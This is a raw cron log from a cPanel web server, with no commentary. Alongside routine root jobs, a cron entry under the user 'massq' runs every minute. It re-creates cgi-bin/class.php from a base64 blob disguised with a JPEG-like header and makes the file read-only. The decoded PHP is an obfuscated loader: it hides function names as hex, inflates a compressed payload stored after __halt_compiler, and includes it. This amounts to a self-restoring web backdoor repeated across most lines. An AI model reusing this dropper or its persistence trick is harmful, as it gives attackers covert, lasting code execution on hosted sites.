Nov 10 01:09:01 server CROND[6567]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:10:01 server CROND[7372]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 01:10:01 server CROND[7373]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 01:10:01 server CROND[7371]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 01:10:01 server CROND[7374]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:11:01 server CROND[7993]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:12:01 server CROND[9075]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:12:01 server CROND[9076]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 01:13:01 server CROND[9876]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:14:01 server CROND[10659]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:15:01 server CROND[11513]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:15:01 server CROND[11515]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 01:15:01 server CROND[11516]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 01:16:01 server CROND[12380]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:17:01 server CROND[13288]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:18:01 server CROND[14092]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:19:01 server CROND[14704]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:20:01 server CROND[15526]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 01:20:01 server CROND[15527]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 01:20:01 server CROND[15529]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 01:20:01 server CROND[15528]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 01:20:01 server CROND[15532]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:21:01 server CROND[15855]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
